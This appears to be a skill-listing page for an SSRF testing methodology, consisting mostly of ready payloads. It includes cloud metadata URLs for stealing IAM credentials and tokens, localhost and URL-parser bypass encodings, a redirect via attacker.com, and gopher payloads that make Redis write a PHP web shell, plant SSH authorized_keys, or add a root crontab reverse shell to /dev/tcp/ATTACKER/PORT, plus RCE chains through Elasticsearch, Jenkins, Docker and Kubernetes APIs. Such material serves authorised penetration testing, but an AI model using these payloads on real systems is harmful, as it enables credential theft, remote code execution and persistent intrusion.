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ssrf-testing

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Actualizado30 de abril de 2026, 11:25

Comprehensive Server-Side Request Forgery (SSRF) testing methodology covering basic SSRF, blind SSRF, DNS rebinding, cloud metadata exploitation, and gopher/redis attacks. Includes bypass techniques and automation.

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YomMongkolphanna

YomMongkolphanna/SECURITY_BRAIN

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Ocupaciones relacionadasSOC

Basado en la clasificación ocupacional SOC

Analistas de seguridad de la informaciónOcupaciones informáticas y matemáticas·SOC 15-1212

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name	ssrf-testing
description	Comprehensive Server-Side Request Forgery (SSRF) testing methodology covering basic SSRF, blind SSRF, DNS rebinding, cloud metadata exploitation, and gopher/redis attacks. Includes bypass techniques and automation.

SSRF Testing Methodology

Overview

Server-Side Request Forgery (SSRF) allows attackers to make the server perform requests to arbitrary destinations. This skill covers all SSRF variants including cloud metadata exploitation and protocol smuggling.

SSRF Detection

Basic Detection

http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://127.0.0.1:8080
http://127.0.0.1:3000
http://127.0.0.1:8000
http://127.0.0.1:9000
http://127.0.0.1:5000

Alternative Localhost Representations

http://127.0.0.1
http://127.1
http://127.0.1
http://0.0.0.0
http://0
http://0177.0.0.1 (octal)
http://2130706433 (decimal)
http://0x7f000001 (hex)
http://localhost
http://localhost:80

IPv6 Localhost

http://[::1]
http://[::]
http://[::ffff:127.0.0.1]
http://[0:0:0:0:0:0:0:1]

DNS Spoofing for Bypass

http://spoofed.burpcollaborator.net
http://localtest.me
http://lvh.me

Cloud Metadata Endpoints

AWS Metadata

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/instance-id
http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/network/interfaces/macs/

Azure Metadata

http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com

GCP Metadata

http://metadata.google.internal/computeMetadata/v1/
http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/
http://metadata.google.internal/computeMetadata/v1/project/

DigitalOcean Metadata

http://169.254.169.254/metadata/v1/

Alibaba Cloud

http://100.100.100.200/latest/meta-data/

Oracle Cloud

http://169.254.169.254/opc/v1/instance/

Packet/Equinix

https://metadata.packet.net/metadata

SSRF Exploitation

Basic Internal Network Scanning

http://192.168.0.1:80
http://192.168.1.1:80
http://10.0.0.1:80
http://172.16.0.1:80
http://10.0.0.0:8080
http://internal.company.com

Port Scanning via SSRF

http://127.0.0.1:22      # SSH
http://127.0.0.1:25      # SMTP
http://127.0.0.1:53      # DNS
http://127.0.0.1:80      # HTTP
http://127.0.0.1:443     # HTTPS
http://127.0.0.1:445     # SMB
http://127.0.0.1:3306    # MySQL
http://127.0.0.1:3389    # RDP
http://127.0.0.1:5432    # PostgreSQL
http://127.0.0.1:6379    # Redis
http://127.0.0.1:9200    # Elasticsearch
http://127.0.0.1:11211   # Memcached

Bypass Techniques

URL Encoding

http://127.0.0.1 → http://%31%32%37%2e%30%2e%30%2e%31
http://127.0.0.1 → http://0x7f.0x00.0x00.0x01
http://127.0.0.1 → http://0177.0000.0000.0001
http://127.0.0.1 → http://2130706433

Double Encoding

http://%2531%2532%2537%252e%2530%252e%2530%252e%2531

URL Parser Confusion

http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
http://127.0.0.1:80#@google.com:80/
http://google.com:80\@127.0.0.1:80/
http://google.com:80?@127.0.0.1:80/
http://127.0.0.1/google.com

Redirect Bypass

# Create redirect.php
<?php header("Location: http://127.0.0.1/"); ?>

Then use: http://attacker.com/redirect.php

DNS Rebinding

Setup:

Create a DNS record with short TTL
First response: attacker IP
Second response: target IP (127.0.0.1)

Attack flow:

Target resolves domain to attacker-controlled IP
SSRF tool validates URL against attacker IP (allowed)
DNS TTL expires
Server resolves domain again → gets 127.0.0.1
Server makes request to 127.0.0.1

Tools:

singularity of rebinder
Whonow
rbndr

Protocol Smuggling

File Protocol

file:///etc/passwd
file:///C:/windows/win.ini
file://127.0.0.1/etc/passwd

Dict Protocol

dict://127.0.0.1:11211/stat
dict://127.0.0.1:6379/info

Gopher Protocol (Powerful)

# Redis commands via gopher
gopher://127.0.0.1:6379/_FLUSHALL%0D%0ASET%20xx%20%22%3C%3Fphp%20system(%24_GET%5B%27cmd%27%5D)%3B%3F%3E%22%0D%0ACONFIG%20SET%20dir%20%2Fvar%2Fwww%2Fhtml%0D%0ACONFIG%20SET%20dbfilename%20shell.php%0D%0ASAVE

# MySQL via gopher
gopher://127.0.0.1:3306/_\x00\x00\x00\x0a...

# SMTP via gopher
gopher://127.0.0.1:25/_MAIL%20FROM%3A%3Croot%40localhost%3E%0D%0ARCPT%20TO%3A%3Croot%40localhost%3E%0D%0ADATA%0D%0Atest

FTP Protocol

ftp://127.0.0.1:21
ftp://attacker.com:2121

TFTP Protocol

tftp://127.0.0.1:69/TEST

LDAP Protocol

ldap://127.0.0.1:389/
ldap://127.0.0.1:389/%0astats%0aquit

SSH Protocol

ssh://127.0.0.1:22

HTTP Header Injection

GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
CF-Connecting-IP: 127.0.0.1

Redis SSRF Exploitation

Web Shell via Redis

gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20%2Fvar%2Fwww%2Fhtml%0D%0ACONFIG%20SET%20dbfilename%20shell.php%0D%0ASET%20xx%20%22%3C%3Fphp%20system(%24_GET%5B%27cmd%27%5D)%3B%3F%3E%22%0D%0ASAVE

SSH Key via Redis

# Generate SSH key
ssh-keygen -t rsa -C "xx@xx.com"

# URL encode key and inject
gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20%2Froot%2F.ssh%0D%0ACONFIG%20SET%20dbfilename%20authorized_keys%0D%0ASET%20xx%20%22URL_ENCODED_KEY%22%0D%0ASAVE

Crontab via Redis

gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20%2Fvar%2Fspool%2Fcron%2Fcrontabs%0D%0ACONFIG%20SET%20dbfilename%20root%0D%0ASET%20xx%20%22%5Cn%5Cn%2A%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FATTACKER%2FPORT%200%3E%261%5Cn%5Cn%22%0D%0ASAVE

Blind SSRF

DNS Callback Detection

http://burp-collaborator.net/
http://interactsh.com/
http://requestbin.net/

Time-Based Detection

http://127.0.0.1:22/    # Fast response if SSH running
http://127.0.0.1:3306/  # Fast response if MySQL running
http://127.0.0.1:9999/  # Timeout if nothing running

Error-Based Detection

# Different error messages indicate port/service
http://127.0.0.1:22/    # SSH version string
http://127.0.0.1:80/    # HTTP response

Automation Tools

SSRFmap

# Basic scan
python3 ssrfmap.py -r request.txt -p url -m readfiles,portscan

# With specific modules
python3 ssrfmap.py -r request.txt -p url -m portscan

Burp Collaborator

# In SSRF payloads
http://burpcollaborator.net/unique-id

interactsh

# Start client
interactsh-client

# Use generated URL in SSRF payloads
http://unique-id.interact.sh

SSRF to RCE

Via Redis

See Redis exploitation above.

Via Elasticsearch

# Create malicious script
POST http://127.0.0.1:9200/_search
{
  "script": {
    "source": "java.lang.Runtime.getRuntime().exec('calc.exe')"
  }
}

Via Jenkins

# Groovy script execution
http://127.0.0.1:8080/script
# Post body: println "whoami".execute().text

Via Docker API

# If Docker socket exposed (usually 2375, 2376)
http://127.0.0.1:2375/containers/json
http://127.0.0.1:2375/containers/create?name=rce
http://127.0.0.1:2375/containers/rce/start

Via Kubernetes API

# If kubelet exposed
http://127.0.0.1:10250/pods
http://127.0.0.1:10250/run/namespace/pod/container?cmd=whoami

SSRF Chains

Step 1: Discover Internal Services

http://127.0.0.1:PORT    # For each common port

Step 2: Extract Cloud Credentials

http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME

Step 3: Chain to Internal Services

# If Elasticsearch found on internal network
http://127.0.0.1:9200/_cat/indices
http://127.0.0.1:9200/_search?q=*

Step 4: Achieve RCE

# Via Redis, Elasticsearch, Docker, etc.

Testing Checklist

References

PortSwigger SSRF Labs
PayloadsAllTheThings SSRF
HackTricks Cloud SSRF
SSRF Bible